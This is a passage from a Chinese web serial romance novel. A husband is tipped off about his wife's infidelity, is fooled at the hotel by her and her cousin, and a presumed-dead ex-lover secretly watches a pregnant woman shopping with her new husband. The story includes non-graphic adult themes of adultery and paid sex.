“我们关系一直很好啊。” “你不多花些时间,陪陪她?” “说到这一点,确实是我亏欠静姝太多。” “我的意思是,你是不是需要……” 饶是周自衡是一个从不拐弯抹角的人,这个时候也不知道该怎么和江书臣说起关于夏静姝的事情。 这个男人从小到大的第一梦想,便是要娶夏静姝为妻。 那个时候夏静姝并不是江书臣的女朋友,夏静姝之前还谈过一个,已经到了准备订婚的地步,若不是那男人突然出了国,根本没有江书臣的份。 “夏静姝知道,嘉树昨晚在我家留宿的事情吗?” “你没告诉她吗?” 昨天江书臣给他回了微信后,直接忙到半夜,以为林听和周自衡会告诉夏静姝。 周自衡微微挑眉,“所以,夏静姝不知道嘉树在我家留宿,你也没告诉她?” “静姝应该知道吧。” “那她为什么不闻不问?” “……” “书臣,你不觉得有问题吗?” “有什么问题?” “你儿子一晚上没回家,你老婆也没发觉?” “她可能以为我会来接嘉树,又去打了一夜的麻将。” “……” 周自衡都快无语了。 “所以,每次夏静姝夜不归宿,都是去打麻将了?” “你又不是不知道,我经常不在家,静姝一个人太无聊了,她有几个牌友也正常。她打牌很烂,输了一些钱,不过没关系,只要她开心就好。” 清晨,春日的阳光暖暖地照在两个男人身上。 周自衡紧崩的面色,却染上一层寒意,“你也知道你经常不在家?” 这个男人,从小就是个恋爱脑。 没得治了。 周自衡重新拿出手机,往江书臣的微信里发了一个酒店的房间号。 随即,提示道,“地址发你了,我建议你现在就过去看看。” 周自衡觉得,长痛不如短痛。 夏静姝的事情,江书臣早晚会知道。 江书臣拿出手机,看了看酒店名和房间号,先是一怔发愣,“你发个酒店房间号给我干什么?” “现在是早上九点,十点半之前,你还能过去抓个现形,你去了就知道了。” 江书臣开着玩笑说,“阿衡,你什么意思,你不会是怀疑静姝背着我在外面有男人了吧。我告诉你,这不可能的事情,全天下的女人都出轨了,我家静姝也不会出轨。这个玩笑一点也不好,以后别开了。否则兄弟会跟你翻脸的。” 说到最后,江书臣的笑容消失,整张儒雅英俊的容貌浸在一片严肃之中,“阿衡,我不允许任何人诋毁我家静姝。” 第196章 建议你挂个脑科 他家静姝,只不过贪玩了一些,爱骑马,爱打高尔夫,爱插花,爱打麻将,爱去美容院。 江书臣笑容收敛过后,儒雅英俊的脸上全是严肃,甚至还带着微微的怒意。 “阿衡,以后这样的玩笑,不要再开了。” 周自衡迎着清晨的微风,气得胸口一阵窒息。 他扯了扯胸口的衣领,声音像是淬了冰一样寒冷,“江书臣,我建议你出门右转,去医院挂个脑科。” 这恋爱脑,该治一治了。 “你脑子才有毛病。你根本不了解静姝,她确实心直口快,有时候爱说一些伤人的话。但她心不坏,她没有心机。” 闻言,周自衡冷冰的眸光里又有一丝无语。 随即,起身,“你就当我什么也没说,我要带林听和柚子去母婴商城,你把江嘉树带回去。” 这个男人,油盐不进。 不过这样也好,江书臣没有发现夏静姝出轨的事情,也避免了对江嘉树造成伤害。 这件事情,或许是他处理不当。 他应该换个方式,让江书臣看清夏静姝的真面目。 他朝远处和柚子还有肚兜,玩得正嗨的江嘉树望了一眼,这孩子从小就讨人喜欢,周自衡竟然生出了一丝同情之心。 从小生活在破碎、算计、阴暗环境下的周自衡,深知一个不好的家庭环境会对一个孩子造成怎样的心理阴影。 他看着快乐的江嘉树,对江书臣道,“如果你发现了什么,希望你能把对嘉树的伤害,降到最低。” 回应周自衡的,是江书臣的沉默。 他又看了一眼周自衡发给他的酒店房间号? 周自衡的为人,江书臣不是不知道,他从不会乱说任何一句话。 难道说,静姝真的背着他,在外面有男人了? 他什么也没有再问,接着嘉树离开了周自衡的别墅。 …… 一辆黑色的红旗国宾,行驶在车道上。 江嘉树坐在后排座的儿童安全坐椅上,和江书臣聊着在柚子妹妹家发生的种种事情。 江书臣有心事。 他回忆着最近乃至以前,他一直忙工作,经常夜不归宿的情况。 他开始重新思考周自衡提醒过的话。 可是在江嘉树的面前,他什么也没有表现出来,脸上依然挂着阳光明朗的笑容。 “你要是喜欢和柚子妹妹玩,我让小段叔叔经常送你来。” “爸爸,我们不能搬到君悦府吗?落落妹妹和柚子妹妹住在一起,站在楼上喊一声就能听见,我也想搬过来。” “那爸爸看看柚子妹妹家附近,还有没有二手别墅出售。” “谢谢爸爸,爸爸你最好了。” “……” “爸爸,你不知道,妈妈经常不在家。你也不在家。我一个人太无聊了,要是能住在柚子妹妹隔壁,也就不用害怕孤单了。” “妈妈最近经常不在家吗?” “何止是最近,是一直以来就这样。她老是出去骑马,打高尔夫,打麻将,就是不肯在家里陪陪我。” 听儿子这么一说,江书臣反倒是打消了对夏静姝的疑惑。 夏静姝是和他结婚之前,便喜欢打高尔夫,骑马,打麻将。 怎么能因为嫁给了他,当了他的老婆,就要剥夺她的这些权利? 夏静姝一直都爱玩。 并不是因为嫁给他当了他的老婆后,才这么爱玩。 江书臣清楚地记得,那个时候,江嘉树是意外怀上的。 结婚后,他们一直有做避孕措施,每次都带套了,但是突然有一天夏静姝还是怀上了江嘉树。 那个时候,静姝不愿意把嘉树生下来,她觉得自己还没有玩够,不想这么早就当妈妈。 是江书臣,怕她流产伤身。 并且,夏静姝怀上嘉树之前,江书臣便做了好多个梦,梦里全是关于婴儿的。 有看不清脸的小婴儿跑过来抱着他的大腿; 还有他抱着小婴儿,拿着奶瓶喂他,他吃饱喝足,还冲他打了个饱嗝。 还有小婴儿坐在他的床尾,睡觉的时候听到婴儿的咯咯咯的笑声,睁开眼便看见小婴儿回头叫他爸爸,真正醒来才知道那只是个梦。 江书臣是相信缘分的。 朋友之间,夫妻双方,乃至是父母与孩子之间都有缘分。 这个孩子是因为缘分,才在他们带了套的情况下意外怀上了。 当时他给夏静姝做了很多思想工作,才说服夏静姝把孩子生下来,并且保证只生这一胎。 生了江嘉树后,江书臣不顾父母亲人朋友的反应,坚定地做了结扎。 后来,静姝生完嘉树,得了一次很严重的产后抑郁,她没有时候像以前那样自由自在地玩耍,不能和姐妹们约会骑马、打麻将、狂商场、打高尔夫,不能用很多她想用的化妆品,身材也走样了,她想吃的冰的冷的辣的刺激的东西都不能吃。 是江书臣日日夜夜陪在她身边,陪她做产后康复,月子还没满便陪她去逛商场买包包买首饰,陪她背着父母偷偷吃辣的,又陪在家陪了她整整一年,她的产后抑郁症才好起来。 江书臣觉得,现在的夏静姝在他不在家的时候,喜欢夜不归宿和姐妹们打麻将,很正常啊。 他不应该因为周自衡的几句提醒,便怀疑夏静姝。 夏静姝的身份,永远是她自己,不应该被只是他的妻,更不应该只是嘉树的妈妈,她永远可以自由自在地做她自己。 这么安慰自己,江书臣似乎心情好了许多。 他把江嘉树送回了静悦别苑。 一辆黑色的红旗国宾,停在别墅前宽敞的露天车库。 车位上还有另外几辆车,一辆国产定制比亚迪,那是江遇出事之前送给他的。 还有冰川酷白和烈艳红的玛莎拉蒂,以及一辆黑色的带翅膀的宾利,还有一辆超跑宾利,这些都是夏静姝的专车,全是江书臣送给她的。 其中少了一辆纯手工打造的白色系帕加尼,这是夏静姝昨天离开的时候,开走的那辆车。 江书臣停稳车子,熄了火,朝别墅里望去。 难道静姝还没有回来? 他看了看手腕上的表,早上九点半。 如果连夜通宵麻将,这个时候应该回来了。 车子没有停进车位里,小段走上来,拉开了车门,接过车钥匙,准备帮他把车子开进车位里。 一只黑色的皮鞋,踩在大理石下。 下了车,三月初春的阳光明媚,映照着江书臣一脸的阴云,以及他紧绷的神色,“小段,太太还没有回来?” 小段点点头,“嗯,昨天我问过太太了,她说她自己会回来,不用我去接她。她打麻烦的时候,不喜欢我打电话过去。有一次我一早打过去,太太发了好大的火。所以我没敢打她电话。” “你也别放在心上。”江书臣拍了拍小段的肩,“太太发火,可能是因为刚好输了钱。” 夏静姝跟人打麻烦,可不是一千两千的事。 通常都是几万几万的。 当然,也有赢的时候。 不过,江书臣把这样的事情,归于小赌怡情,他也知道夏静姝有分寸,只是打打小麻将,不会像赌场那样,一赌就是千万上亿起步。 安顿好江嘉树,江书臣要去机场。 他先是回卧室洗了个澡,换了衣服这才九点五十。 卧室的床头柜和床头墙面上,摆着挂着他和夏静姝的婚纱照。 江书臣的目光落在夏静姝美丽的容颜上,突然变得有些复杂。 明明他应该相信静姝,为什么此时此刻,胸口发慌? 脑袋也乱糟糟的。 整个人显得有些烦躁不安。 时间紧迫,他十一点还要赶飞机,这会儿得去机场了,又不得不调整呼吸,让自己平静下来。 小段送他去机场前,他给夏静姝打了一通微信的语音通话。 没人接。 又打了第二通,还是没人接。 他改发了一条文字消息:静姝,打完麻将回家睡个觉,睡醒了记得约个肩颈按摩师到家里给你舒缓一下肩颈,久坐对你肩颈不好。我去隔壁江市办点事情,后天回来陪你吃晚饭。 夏静姝依然没有回复。 这时突然跳进来一条消息,是周自衡的:在哪? 江书臣:去机场。 周自衡的头像显示正在输入状态,不过他的第二条消息,一直没有发过来。 江书臣又发了一条过去:忘了恭喜你,新婚快乐。婚礼准备什么时候补办? 周自衡:等林听生完孩子后休息一阵。 江书臣:你刚刚准备要发什么给我? 周自衡:没什么,我陪林听继续逛母婴商场。 周自衡其实是一个比较冷漠的人,除了对林听的事情很上心以外,很多事情他都不愿意插入。 世间万物,自有因果。 他也不喜欢介入别人的因果里。 江书臣如果非要执迷不悟地相信夏静姝,多说无益。 江书臣也放下了手机,没再聊天,顺手拿起一些文件翻看了起来。 平日里他效率极高,在车上能处理很多事情,今天却是一个文件也没看进去,脑海里自动闪回着周自衡发给他的那个酒店名和房间号。 车子已经快要到机场了,他鬼使神差地吩咐了一声,“小段,掉头,去鼎盛。” 鼎盛是周自衡发给他的酒店名。 小段从车内的后视镜望了望,此刻,江书臣的神色被一片阴云笼罩着,他紧蹙着眉头。 车里的气压也因此急速下降。 小段小心又谨慎道,“臣总,可是你今天要赶飞机去江市,掉头去鼎盛的话,赶不上飞机了。” 江书臣心里慌乱得很,“掉头。” 尽管小段不知道发生了什么事情,但是还是按照他所说的,在下一个路口调转方向,驶向鼎盛。 后座的江书臣,扯了扯领带。 车厢里开了空气循环,他还是觉得窒息,不由打开车窗。 清凉的风阵阵扑面,江书臣依然觉得空气不是那么新鲜。 这辆黑色的红旗国宾,驶进鼎盛酒店,又在酒店前的假山喷泉池绕了半圈,最后才缓缓停下来。 有泊车的司机准备走上前帮忙拉开车门。 车门却被里面的人急急地推开,江书臣直接下了车,没和小段打招呼,直接走进酒店大堂。 鼎盛酒店,林江两家以前经常来,还经常在芙蓉厅举行家族晚宴。 江书臣是常客。 他明明知道,如果周自衡提醒的是真的,静姝不可能在他们经常来的酒店和别的男人开房,但他脚下的步子还是迈得很快。 周自衡给的房间号,是3206。 3026是在酒店的三楼,206是代表贵宾二区,六号房。 这个地方,江书臣是进不去的。 安保人员将他拦下来,“抱歉,先生,抱歉,这里必须是贵宾才能进入。” 贵宾二区,集各种娱乐项目、高档KTV、泳池、棋牌室,茶艺文化交流区、花艺文化沙龙,以及贵宾休息室于一体,只有常年付费预订的高档会员才能进入。 江书臣不是贵宾二区的常客,甚至是个生面孔。 他被拦了下来。 两分钟后,他一个电话搞定,被领了进去。 他直接走到六号房,按响了门口的门铃。 一秒,两秒,五秒,十秒,半分钟过去了,门铃继续响着,却没有人来开门。 落在门铃上的手指,又不停地按了好几下。 …… CBD核心高端购物中心。 一辆贝母白的迈巴赫,停在购物中心的地面停车场。 洛高下了车,小跑着开了车门,周自衡踩着黑色的皮鞋下了车,手挡着车门的顶部,“小心些!” 林听抱着自己的大肚子,缓缓下了车,周自衡弯腰将她的包包拿下车,拎在手里。 这时,洛高在他身边小声汇报了一声,“家主,江书臣去鼎盛了。但是他在贵宾二区被拦下来了。” 周自衡微微拧眉,“这个男人在姓夏的面前,永远这么蠢。” 林听看着他们,“你们在说什么?哪个男人那么蠢?” 周自衡牵着她往里走,欧洲宫廷风的穹顶高悬于头顶,这里汇聚了许多一线品牌,周自衡早就了解好了,国内外的一线母婴品牌都在三楼。 林听因为怀孕了,双腿现在还是浮肿的。 他不想让她走太多路,坐了直梯,准备直达三楼。 周自衡淡淡地聊起江书臣的事情,“你心目中的书臣哥,是不是永远睿智过人?” “那当然!”林听觉得江书臣不仅儒雅绅士,三观也很正,对人对事更是有自己独到的见解。 当年她被所有人冤枉,唯独江书臣能看清事情的本质,觉得她是被人陷害的,但苦于没有证据。 这份被信任的恩情,林听到现在还记得。 “但是你这位从小到大的邻家哥哥,是个恋爱脑。” “确实!书臣哥对夏静姝无下限宠,不管夏静姝做什么事情,他都会包容她。” …… 鼎盛,三楼贵宾二区。 6号套房的门铃响了足足一分钟后,房门这才被打开…… 第197章 江遇回来了 房间门被夏静姝拉开。 映入江书臣眼帘的,是夏静姝微乱的发,红润光泽的肤色,以及耳畔边的薄红。 江书臣和夏静姝生活了这么多年,他是最了解夏静姝的,往往她和他做过那种事情后,耳畔边才会留下薄红的血色。 忽然间,江书臣大脑宕机了十余秒。 难道周自衡跟暗示的事情是真的——夏静姝真的背着他在外面偷男人了? 一瞬间脑袋卡壳了,什么冷静理智都没有了,他身体四肢一片发麻,明明想拉住夏静姝问她为什么,却发现自己连手指尖都无法动弹。 卡在喉咙里的话,更是一个字也说不出来,像是失声了似的。 夏静姝见到他,先是一阵诧异,“老公,你怎么在这里?” 下一瞬,她挽住江书臣的胳膊,撒娇道,“你不会是想我了,才没有去江市出差吧。” “谁啊?”从房间里传来了一道声音。 这道声音明明是个女声,江书臣正纳闷时,一个穿着睡衣的女子赤着脚从里面走出来。 这一看,江书臣更是一阵诧异,“楠楠?” 这个被江书臣称作是楠楠的女子,全名叫夏依楠,是夏静姝二叔的女儿,从小和夏静姝关系要好,既是夏静姝的堂妹,又是夏静姝最好的闺蜜。 江书臣和夏静姝大婚的时候,有两个伴娘,一个是林听一个便是夏依楠。 “姐夫?”夏依楠故作惊讶道,“昨天我和阿姝姐打麻将的时候,她不是说你今天要去江市出差吗,你怎么在这里。你不会是太想阿姝姐了吧?” 夏依楠托着腮,故作沉思状,“不对呀,姐夫。你平时工作忙得不得了,很少有时间回家。我姐没人伴,不得已才跟我出来打麻将。你怎么可能因为想我姐,就推掉你手上的工作?” “让我想一想。”夏依楠故作皱眉思索状,随即不爽道,“姐夫,你该不会是怀疑我姐出轨了,在酒店和别的男人约会,所以来这里抓奸来的吧?” 夏依楠故作细思极恐状,盯着江书臣,指责道,“姐夫,你对我姐太不信任了吧,我和我姐昨天夜里在会所里约了人打麻烦,太累了就没回去睡觉,直接在这里开了个房。你倒好,误会我姐出轨来抓奸?” 这声音充满了责备和数落。 倒是数落的江书臣内心泛起深深的内疚来。 “好啊,姐夫,说,你是不是怀疑我姐,还在背后调查我姐?” “要不然你怎么知道我和我姐在这里?” 夏依楠用手指着江书臣,一副替夏静姝打抱不平的姿态。 那根指着江书臣的手指,却被夏静姝拉回来,瞪了夏依楠一眼,“楠楠,你姐夫对我最信任了,他怎么可能怀疑我出轨。他就是想我了,所以才来这里看我。” “是吧,老公。”夏静姝笑盈盈地望向江书臣,一脸撒娇甜美样,“你是不是看到我的消费记录,所以想我了,才找到酒店来的?” 夏静姝又问,“是不是因为林听的事情跟我吵了架,所以来跟我说对不起的?” 江书臣一个字也答不上来,“……” 见到夏静姝是和夏依楠在一起,她们昨晚确实是约了打麻将,而他竟然信了周自衡的话,特意到这里来抓奸。 他这个当丈夫的,真是又失责又失败,不仅没有时间陪夏静姝,更是没有给她最基本的信任。 他怎么可以信周自衡,而不信自己身边睡着的枕边人? 而且夏静姝还是他最爱的女人。 想到自己的愚蠢和怀疑,江书臣胸口像是有什么尖锐的东西划过,那是他深深的自责和愧疚。 这时,夏静姝挽着江书臣的胳膊,再次撒娇道,“老公,我也跟你说声对不起。在林听的事情上,我可能过于偏激了。你说的对,江遇的死确实不应该全怪林听。我不应该跟你吵架的。你别生气了,好不好?” 明明是自己错怪了夏静姝,对她不信任,怀疑他出轨来抓奸有错在先,反倒是夏静姝先跟他认错道歉。 一股愧疚感,在江书臣的胸口荡起深深的旋涡。 他觉得羞愧得很! “静姝,对不起,我……” 江书臣是个老实人,心里有话也藏不住,尤其是对夏静姝。 他拉着夏静姝的手,愧疚道,“周自衡告诉我,你在这里开房,让我过来看看。我……我就真的……” 夏静姝故作失落道,“啊,你不会真的像楠楠说的一样,以为我在这里和别的男人约会,故意过来抓奸吧?” 她故作心痛道,“我好难过,你对我连最基本的信任也没有。” 说着,眼泪掉下来,吧嗒吧嗒,一颗又一颗,落在她的脸颊,也落在江书臣的手心里。 江书臣拭着她的泪,自责道,“对不起,静姝,我是太在意你,太害怕失去你了。是我鬼迷心窍,信了周自衡,没有信任你。我向你保证,以后无论如何我都只相信你一个人,对你无条件信任,再也不瞎猜乱怀疑。” 他江书臣的太太,是这世上最好的女人。 夏静姝又挤了几滴泪,瞪他一眼,又故作善解人意状,“这次就原谅你了。我也知道你肯定是太在意我了,所以才信了别人的话。但是下次你再这样,我可不会轻易原谅你。” “我保证,没有下一次。”江书臣比着指天起誓状的手势,“再有下一次,我江书臣……” “我不许你发那些恶毒的誓言。”他话还没说话,夏静姝捂着他的嘴,打断道,“我只要你好好的。出差的时候要注意安全,等你忙完了,有空一定要多陪陪我。你要是多陪陪我,我才不想和楠楠一起打麻将呢。” 夏依楠抱臂瞪着二人,“你们俩够啦,别在这里肉麻了。要撒狗粮回去关了门再撒。还有啊,阿姝姐,这个男人这么不信任你,你就这么原谅他了?” “要你管。”夏静姝故意骄傲道,“这可是我老公。” 江书臣看了看手腕上的表,最近的一趟航班一个半小时后起飞。 他错过了之前的那趟航班去江市,下一趟可不能再错过了。 他揉了揉夏静姝的脑袋,“老婆,我必须得赶去机场了,等我回来再跪榴梿向你负荆请罪。” “啊,我还以为你能留下来陪我呢。” “实在抱歉,阿遇走后,林江医药太多事情了。是我疏忽了你……” “好啦,我知道,男人要以事业为重。你去吧,我和楠楠收拾一下,吃个早餐就回去。” “好,那我先走了。” “嗯,路上注意安全,三餐要按时吃,照顾好自己。” “嗯。” 说着,江书臣在夏静姝的脑袋上,轻轻地吻了吻,然后望向旁边的夏依楠,“楠楠,姐夫不在的时候,麻烦你抽空多陪陪你姐。等我空了,请你吃饭。” 夏依楠抱臂道,“我天天帮你照顾你老婆,你就只请我吃顿饭,至少得给我买个像样点的包包吧?” 江书臣:“行,回头你喜欢哪款包发我手机上,我买。” 夏依楠:“那还差不多。” …… 江书臣走后,夏静姝和夏依楠终于松了一口气。 两人关了房间门,面面相觑,“这回你姐夫应该不会倒退回来了吧。” “应该不会吧,他已经解除对你的怀疑了,看样子还很内疚。”夏依楠也是长长地吁了一口气,“刚刚好悬呀,要不是你机智聪明,每次都做好了被抓奸的准备,不然就被姐夫发现了。你要是被发现了,我也逃不掉。” 夏依楠是夏静姝的堂妹。 两人分别于一年一后,相隔不到两个月的时间嫁了男人。 夏依楠的老公和江书臣也是圈子里很熟的朋友,并且也是从小到大知根知底的人,和江书臣有个共性,担起了家族的重担,每天从早忙到半夜,没多少时间陪老婆。 夏依楠的老公也和江书臣一样,虽然很忙,但是很疼老婆。 这夏依楠和夏静姝,都是耐不住寂寞的人,一起当起了女海王,在外面养了一个又一个的男人。 今天这两姐妹玩得更花。 她们前半夜确实是在打麻将,打完麻将吃了夜宵,想寻找点刺激的,一起叫了一个长期服务于她们的男人。 这会儿,那个男人正藏在外面的空调机位上。 把门锁好后,夏依楠去把那小白脸男人叫了上来。 这小白脸之前是当保安的,长得又高又俊,是难得一见的帅哥,不过才二十二岁,比他们小七八岁呢,因为从小在农村长大,母亲得了重病需要钱,在高档会所当保安。 夏静姝和夏依楠天天出入高档会所,见到这小保安长得俊,突然生了淫心思,直接找到小保安,花钱买乐子。 她们让这小保安陪她们睡一晚,一次给五万。 小保安为救重病在床上的母亲,不得不出卖肉体。 从外面的空调外机爬进来后,夏静姝解开身上的睡衣,“楠楠,我先来吧,你在旁边给我们拍视频。” “阿姝姐,刚刚说好的我先来的。一会儿这小哥哥又不行了。昨天晚上你已经两次了。” “怕什么,不行就让他吃药。” 说着,夏静姝把小保安推到沙发上,整个人坐上去,开始扒小保安的衣服,“服务好一点,多给你加五千。” 衣服被脱下来,丢在沙发旁的地毯上。 旁边,有夏依楠一边看着,一边拍照。 这两姐妹虽然玩得很花,可是她们也很注重安全,她们要求床伴必须身体健康,而且只能对她们服务,每半个月检查一次身体,必须身体各方面健康,才有资格跟她们一起玩。 这么多年了,两姐妹在这条路上越走越远。 其实,也不怪夏静姝和夏依楠。 因为在他们家族里面,有一个又一个的惊天大丑闻,没有爆出来。 他们的爷爷,父亲,母亲,都是这么玩的,她们从小耳濡目染,觉得这样的生活才是正常的,刺激的,有活头的,不然人生区区三万多天,活起来多没意思。 …… 购物中心。 周自衡见林听的肚子比刚回来那两天,好像又大了一些。 眼见天气要暖和了,他调了几件宽松时尚的孕妇长裙,还有孕妇打底裤,拿到林听的面前,“这几套,你喜欢吗?” 林听逛了一会儿母婴商场了,倒是没有想到要给自己买衣服,她关注的都是婴儿奶瓶,婴儿衣服,婴儿奶粉这些商品。 这会儿,她拿着一个婴儿奶瓶,看着这只奶瓶的材料和品牌产地。 回头一看,周自衡手上拿了好几套孕妇裙和打底裤,都是十分时尚好看的。 她瞄了一眼,又去看宝宝的奶瓶,“都可以。” “你先选自己的衣服。”周自衡拿掉她手上的奶瓶。 林听又把奶瓶拿起来,“不行,这次我得给小宝买好一点的婴儿用品。我生柚子那会儿,柚子穿的用的都是很差的,甚至连奶瓶都是别人用过的。” 那会儿她在监狱里,条件很不好。 有许多地方,都觉得愧疚了柚子。 柚子之所以能够形成今天这样,不管遇到任何困难坎坷,都能一步迈过去的坚强性格,便是因为柚子从小吃了太多的苦。 她不想让二宝再走柚子的老路。 她希望二宝能被呵护着长大。 所以来了母婴商场,她把关注点都放在了婴儿用品上,完全没有考虑到自己。 这就是母爱的伟大! 周自衡却是心疼不已,既是心疼她,又是心疼柚子。 “抱歉,如果我早一点跟你在一起,你和柚子就不会吃那么多的苦。” “你还好意思说,你说说你,既然从小就暗恋我,为什么不大胆一点,从最开始就追求我。你这么好,你要是从一开始就追求我,哪还有江遇什么事,我早跟在你屁股后面转了。” 林听故作埋怨状,看着他,这语气又并没有埋怨的意思。 周自衡答不上来,如果不是因为他身体的原因,可能从最开始,他早就放手一搏斗了,“……” 胸口忽然像是压了一块巨石。 沉沉的。 喘不上气。 连他盯着林听继续去挑婴儿奶瓶的眼神,也带着某种担忧和愧疚,“如果有下辈子,我一定早早就把你抢过来,不让任何人伤害你。” “拉钩!”林听一手拿着奶瓶,一手伸出尾指来。 那纤细的尾细,被周自衡勾住,目光变得又软又深情,“拉钩!” “下辈子我可要跟在你身后,当你的小尾巴。”林听的声音,带着些许欢快。 江遇的事情,她早抛在脑后了。 远处,一排货架前,露出半边挺拔英俊的身影,还有半双望眼欲穿的眼睛,另一半身体和另一半脸,躲在货架后面,随时准备躲起来。 那只露出来的眼睛,一瞬不瞬地盯着林听的身影。 耳朵坚起来,听闻着在梦里让他魂牵梦绕的熟悉的林听的声音。 只是林听的话语,像是刀子一样,深深地刺进了他的胸口。 第198章 不想打扰她 母婴商城,货架后面的那个男人是江遇。 那个大难不死,历经许多磨难,终于回到鹏城的江遇。 此刻,他握紧手中的拐杖,用力攥了攥。 他指节攥得发紧。 手中的拐杖似乎要被他捏碎了似的。 母婴商城的灯光下,大着肚子的林听站在陈列架前,白米色的孕妇裙将她的容颜衬托得更加温柔甜美又俏皮可爱。 这样的笑容,此时此刻只属于她面前的那个男人——周自衡。 她刚刚说,她多么希望周自衡能够早点对她表明心迹,那样她就可以从小到大当周自衡身后的那根小尾巴,整个围着周自衡转,那样就没有他江遇什么事了。 她宁愿与他从来没有任何交际吗? 江遇以为,他放手祝福她,成全她和周自衡,送她回国,她能够记住他的半分好。 他以为在危难之间,他用死亡来捍卫了她和柚子的生命安全,如此一来,他在她的心里能够留有一席位置,哪怕是一丝丝地位也好。 可是,她宁愿从不曾与他好过。 他本就瘸了一条腿,这会儿手中的拐杖跟着他的身体在颤抖,高大的身体差点撑不住,最后躲到货架后面,不敢再朝那个方向望去。 心醉与心痛像细密的针,扎得他胸口一阵阵地疼着,险些窒息。 他靠在货架上,心痛得额头冒出汗来。 有人路过,停下来,好心地问了一句,“先生,你没事吧?” 他赶紧摇头,不敢发出任何声音,就怕把林听和周自衡引过来,看到他这般狼狈不堪的模样。 他甚至怕自己这狼狈的模样,会惊扰到那头的温馨和幸福。 他杵着拐杖,落荒而逃。 拐杖一下又下碰触地面的声音,显得仓皇而急促,一声又一声敲打在他疼痛的胸口。 忽然,脚底一滑。 哐当一声! 整个英俊却十分消瘦的身体滑倒在地,先是尾椎骨着了地,后是腰身,脑袋,还有手中木质的拐杖。 来往的人看着他。 有人停下来,犹豫着要不要上前搀扶,最终还是没有人上前搀扶,这个年代讹人的人太多了,还是不要惹麻烦的好。 滑倒在地的江遇,只觉尾巴骨的地方碎开了,他试了好几次都没有爬起来。 “周自衡,你快看看,这个婴儿连体衣太可爱了吧。” “我们给小唯一买这套衣服好不好?” 林听的声音,传到耳边。 江遇听着,似乎她离他的距离又近了许多。 他赶紧撑着疼痛的身体爬起来,挪动着一瘸一拐的双腿,又躲到了另一个货架后面。 他显得那样仓皇,那样狼狈,昔日的风采不在,剩下的只有这残缺的身体和他那颗残缺的心。 重新靠在角落里的货架上,一行清泪忍不住落下来——‘小唯一’,那是林听肚子里小宝宝的名字吗?她竟然给他们的女儿取名叫‘唯一’,是不是代表她心里唯一在乎的人只有周自衡,他在林听心中的位置早已被周自衡取代。 所以在岛上的那大半年,她无时无刻不想着回到鹏城和周自衡团聚。 唯一,林听这一生唯一爱的男人——周自衡。 那么他呢,他江遇算什么?他和林听那二十年的过去,又算什么? 靠在货架上的江遇,忽然哭得像是一个泪人,这辈子他从来没有流过这么多的泪。 可是,听闻林听和周自衡说话时,那欢快的语声,胸口似乎又是欣慰的。 他说了要成全她,就是希望看到她和周自衡在一起能够快乐幸福。 如今他终于看到这一幕了,还有什么好不死心的? 听闻周自衡和林听脚步声,从货横的背面渐行渐远,江遇没有再探出头去。 直到确认他们已经不在这个片区了,这才微微地探出脑袋,只瞧见两个熟悉的背影手挽着手渐渐远去——林听,你要幸福!周自衡,你也要幸福! …… 整个母婴商场一万多平米。 这里汇聚取全球许多大牌的母婴品牌,林听却觉得怎么也挑不够。 很快,购物车已经满了。 周自衡推着购物车,在旁边耐心地陪伴着,这时洛高打过来一通电话。 他按了免提,“家主,如您所料,江书臣又去机场了。” 周自衡低低的哼了一声,“在那个女人面前,他就是个蠢货。” 洛高问:“那我还用再给江书臣一些暗示吗?” 周自衡:“不用了。” 林听拿起一对小小的婴儿鞋袜,望向他,“书臣哥又怎么了,你干嘛骂他蠢?他挺精明的呀。” “夏静姝出轨了。”周自衡把手机放回西的里兜里。 林听有些惊讶,“什么?” 夏静姝的出轨史,周自衡简洁明了地阐述了一遍。 闻言,林听恍然大悟,她之前总觉得夏静姝看周自衡的目光,有些不太对劲,但是说不上来哪里不太对劲。 现在听周自衡说夏静姝的这些事情来,这才明白过来,当时夏静姝看周自衡的目光,不就是在锁定猎物吗? “难怪她之前看你的眼神不太对劲,她不会想勾引你,把你也列为她的炮友之一吧?” 周自衡的眼里露出一丝厌恶,随即低低地哼了一声,“那样的女人,多看她一眼我都嫌她脏。” 林听当然相信,周自衡的洁身自好。 别说肮脏的夏静姝勾引他,就是来个七仙女勾引他,他都一样能够坐怀不乱。 她把手中一对可爱的婴儿鞋袜,放进购物车里,挽着周自衡的胳膊,吻了吻他的脸颊,“我知道,你最最好!” 柔软的吻,让周自衡紧抿的薄唇微微上扬,露出心满意足的微笑。 如今和她在一起的每一刻,他都无比珍惜。 眼前的人亲了他一口后,眉头微微皱起来,“书臣哥好可怜。整个豪门圈子里,谁不知道他是个宠老婆的好男人。夏静姝怎么可以背着书臣哥在外面私生活如此混乱?” “最重要的是,这个书臣哥真是个恋爱脑。”林听就想不明白了,“书臣哥都去到酒店的房间门口了,竟然被夏静姝蒙混过关了?” 两人边走,边聊。 周自衡又说,“夏静姝每一次偷情,都做好了万全的准备。但江书臣但凡是用点脑子,也不会让夏静姝收到风声。要怪就怪这个男人把姓夏的看得太重要。” 他补充:“不过常在海边走,哪有不湿鞋。这件事情,我们暂时不要插手了。” 近期以来,对于周自衡来说,最重要的是事情是陪她安全地度过整个孕期,直到她将肚子里的小宝生下来,坐完月子,恢复好身体,再陪她举行一场她喜欢的婚礼。 别的事情,他也懒得再插手。 林听又在童装区停下来,看到有适合柚子和落落还有盼盼穿的衣服,分别选了三姐妹的码数。 一边选,一边问,“周自衡,既然你有夏静姝出轨的证据,你为什么不直接拿给书臣哥?让书臣哥看清夏静姝的真面目,让他早点离开她,长痛不如短痛。” 眼见着春天快结束,马上就要进入到夏天了。 周自衡瞧着一套浅蓝色的运动套装,非常适应柚子和落落,拿起来看了看,“赶狗入穷巷,必遭反噬。” 在林听这一胎没有安全临盆之前,他不会去招惹仇家。 他要是绝了夏静姝的路,以夏静姝这样性子的人来说,必定会报复。 虽然他身边有洛高,还可以加强安保工作,但万一有个什么闪失,哪怕概率很低,他也不敢去冒这个险。 林听像是他肚子里的蛔虫一样,“你不会是怕夏静姝报复到我身上吧?” “我不能再让你有半点闪失。” 他紧紧地握着她的手。 这大半年来,他不知道她被江遇带去了哪里,不知道她过得好不好,甚至不知道她是否还活着,这样的事情他绝对不允许再发生。 感受到他掌心里传来的力度和在意,林听是理解他的心情的。 有他在,心里踏实感满满。 “有你在,我谁都不怕。” 但是,他害怕! 他也无法保证她绝对的安全。 所以她回到鹏城后,他每天寸步不离地守在她身边。 要是把夏静姝逼到了绝境,他便又多了一个宿敌,他身边算计他的人太多了,还有周家那位失踪后下落不明的周自雄,以及他最亲的父亲周才昆,母亲朱丽媛。 连活高都问他。 